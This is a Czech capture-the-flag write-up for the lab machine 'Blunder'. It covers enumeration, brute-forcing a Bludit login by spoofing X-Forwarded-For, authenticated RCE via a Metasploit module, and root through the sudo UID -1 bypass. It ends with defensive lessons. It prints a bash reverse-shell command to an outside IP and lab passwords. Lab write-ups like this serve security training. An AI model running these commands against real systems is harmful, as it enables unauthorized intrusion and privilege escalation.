Blunder
Úvod a kontext
Blunder stojí na řetězení několika drobných, ale přesně navazujících indicií. todo.txt prozradí uživatele fergus, obsah webu poslouží jako wordlist a bypass omezení v Bluditu dovolí opravdu ubruteforcovat heslo RolandDeschain. Teprve potom přichází autentizované RCE přes upload obrázku.
Root část je stejně zajímavá jako foothold. Po shellu pod hugo už není potřeba hledat další webovou chybu; stačí správně pochopit sudo pravidlo (ALL, !root) /bin/bash a využít numerické UID -1, které obejde zamýšlené omezení.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- --min-rate=1000 -T4 -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT STATE SERVICE VERSION
21/tcp closed ftp
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: __CENSORED__
|_http-generator: Blunder
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts
Enumerace webu
Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -t 40 -x php,txt,log,xml,htm,html -u http://$IP
=> todo.txt
=> -Inform fergus that the new blog needs images - PENDING
Získání přístupu
Obejítí ochrany proti brute force
todo.txt dává uživatelské jméno fergus. Z obsahu webu lze přes cewl vytvořit wordlist a skript s hlavičkou X-Forwarded-For obejde ochranu Bluditu proti opakovaným pokusům o přihlášení.
https://rastating.github.io/bludit-brute-force-mitigation-bypass/
=> Use fergus:RolandDeschain to login.
Autentizované RCE v Bluditu
Po získání administrátorského účtu už nejde o brute force, ale o zneužití funkce pro upload obrázků. Authenticated exploit vrátí první shell na webserveru.
msf6 exploit(linux/http/bludit_upload_images_exec)
=> execute -f "/bin/bash" -a "-c 'bash -i >& /dev/tcp/10.10.14.9/4000 0>&1'"
Přechod na účet hugo
V souboru bl-content/databases/users.php jsou vidět další lokální účty a hash. Z něj lze odvodit heslo Password120 a přepnout se do stabilnějšího uživatelského kontextu hugo.
/var/www/bludit-3.10.0a/bl-content/databases/users.php
=> Hugo
=> Password120
su hugo
python -c 'import pty; pty.spawn("/bin/bash")'
Získání user flagu
Jakmile běží shell jako hugo, dává smysl ověřit, že jde o skutečný uživatelský přístup a ne jen o jednorázový webový proces.
cat user.txt
__CENSORED__
Eskalace oprávnění
Průzkum možností eskalace
Lokální enumerace rychle ukáže problematické sudo pravidlo. Zápis (ALL, !root) /bin/bash vypadá na první pohled omezeně, ale historicky šel obejít přes numerické UID -1, které se vyhodnotí jako UID 0.
sudo -l
=> (ALL, !root) /bin/bash
Získání root flagu
Tady už nejde o web, ale o čistou chybu v delegaci oprávnění přes sudo.
sudo -u#-1 /bin/bash
cat root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Počáteční průzkum nabral směr až ve chvíli, kdy
todo.txtprozradilo jménofergusa obsah webu posloužil jako wordlist pro hesloRolandDeschain. - Foothold nevznikl samotným brute forcem, ale až následným autentizovaným RCE v Bluditu a přechodem na účet
hugo. - Root část je čistá lekce z
sudo: pravidlo(ALL, !root) /bin/bashnevylučuje privesc, pokud lze použít numerické UID-1.
Co si odnést do praxe
- I malé informační úniky mají cenu. Jediný řádek v
todo.txtstačil k odhalení uživatelefergusa zbytek řetězce už stavěl jen na heslové hygieně a slabé ochraně přihlášení. - Admin rozhraní CMS mají být chráněná nejen heslem, ale i proti distribuovaným nebo obcházeným brute force pokusům. Pokud stačí měnit
X-Forwarded-For, ochrana prakticky neexistuje. sudopravidla s výjimkami typu!rootje potřeba hodnotit velmi opatrně. Jakmile dovolují spouštět interaktivní shell nebo interpretr, jde často jen o zdánlivé omezení a ne o skutečnou bariéru.